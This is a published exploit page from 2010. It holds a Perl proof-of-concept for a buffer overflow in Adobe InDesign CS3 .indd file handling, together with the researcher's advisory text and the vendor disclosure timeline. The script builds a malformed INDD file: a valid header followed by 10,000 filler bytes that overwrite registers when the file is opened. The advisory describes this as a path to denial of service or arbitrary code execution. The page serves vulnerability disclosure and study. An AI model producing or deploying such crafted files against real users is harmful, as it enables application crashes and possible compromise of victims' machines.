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Adobe InDesign CS3 INDD File Handling Buffer Overflow

Adobe InDesign CS3 INDD File Handling Buffer Overflow
Posted Jun 4, 2010
Authored by LiquidWorm

Adobe InDesign CS3 INDD file handling local buffer overflow exploit.

tags | exploit, overflow, local
MD5 | 9f5e2e78e3befcacaaff92cd61163546

Adobe InDesign CS3 INDD File Handling Buffer Overflow

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#!/usr/bin/perl
#
# Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability
#
# Vendor: Adobe Systems Inc.
#
# Product Web Page: http://www.adobe.com
#
# Version tested: CS3 10.0
#
# Summary: Adobe® InDesign® CS3 software provides precise control over
# typography and built-in creative tools for designing, preflighting,
# and publishing documents for print, online, or to mobile devices. Include
# interactivity, animation, video, and sound in page layouts to fully engage
# readers.
#
# Desc: When parsing .indd files to the application, it crashes instantly
# overwriting memory registers. Depending on the offset, EBP, EDI, EDX and
# ESI gets overwritten. Pottential vulnerability use is arbitrary code execution
# and denial of service.
#
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# Zero Science Lab - http://www.zeroscience.mk
#
# 16.09.2009
#
#
#
# Vendor status:
#
# [16.09.2009] Vulnerability discovered.
# [09.03.2010] Vulnerability reported to vendor with sent PoC files.
# [21.03.2010] Asked confirmation from the vendor.
# [21.03.2010] Vendor asked for PoC files due to communication errors.
# [22.03.2010] Re-sent PoC files to vendor.
# [04.04.2010] Vendor confirms vulnerability.
# [03.06.2010] Vendor informs that they discontinued support for CS3 since CS5 is out.
# [04.06.2010] Public advisory released.
#
#
# Zero Science Lab Advisory ID: ZSL-2010-4941
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4941.php
#
#
#
# Raw PoC code:
#

$header = "\x06\x06\xED\xF5\xD8\x1D\x46\xE5\xBD\x31\xEF\xE7\xFE\x74\xB7\x1D\x44\x4F\x43\x55\x4D\x45\x4E\x54\x01";

$fn = "teppei.indd";

$bof = "\x41" x 10000;

print "\n\n[*] Creating PoC file: $fn ...\r\n";

sleep(1);

open(indd, ">./$fn") || die "\n\aCannot open $fn : $!";

print indd "$header" . "$bof";

close (indd);

print "\n[*] PoC file successfully created!\r\n";

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